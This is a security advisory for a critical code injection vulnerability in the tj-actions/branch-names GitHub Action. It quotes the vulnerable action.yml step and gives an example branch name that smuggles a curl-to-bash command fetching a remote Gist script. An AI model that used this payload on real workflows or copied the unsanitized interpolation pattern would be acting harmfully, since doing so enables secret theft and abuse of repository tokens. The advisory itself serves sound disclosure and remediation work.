GHSA-8v8w-v8xg-79rf

Suggest an improvement
Source
https://github.com/advisories/GHSA-8v8w-v8xg-79rf
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/12/GHSA-8v8w-v8xg-79rf/GHSA-8v8w-v8xg-79rf.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-8v8w-v8xg-79rf
Aliases
Published
2023-12-05T23:30:10Z
Modified
2023-12-06T20:48:41Z
Severity
  • 9.3 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N CVSS Calculator
Summary
tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection
Details

Summary

The tj-actions/branch-names GitHub Actions references the github.event.pull_request.head.ref and github.head_ref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

Details

The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.

runs:
  using: "composite"
  steps:
    - id: branch
      run: |
        # "Set branch names..."
        if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
          BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
          HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
          REF=$(printf "%q" "${{ github.ref }}")

An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

Impact

An attacker can use this vulnerability to steal secrets from or abuse GITHUB_TOKEN permissions.

Reference

  • https://securitylab.github.com/research/github-actions-untrusted-input
Database specific 
{
    "nvd_published_at": "2023-12-05T00:15:09Z",
    "cwe_ids": [
        "CWE-20"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-05T23:30:10Z"
}
References

Affected packages

GitHub Actions / tj-actions/branch-names

Package

Name
tj-actions/branch-names

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
7.0.7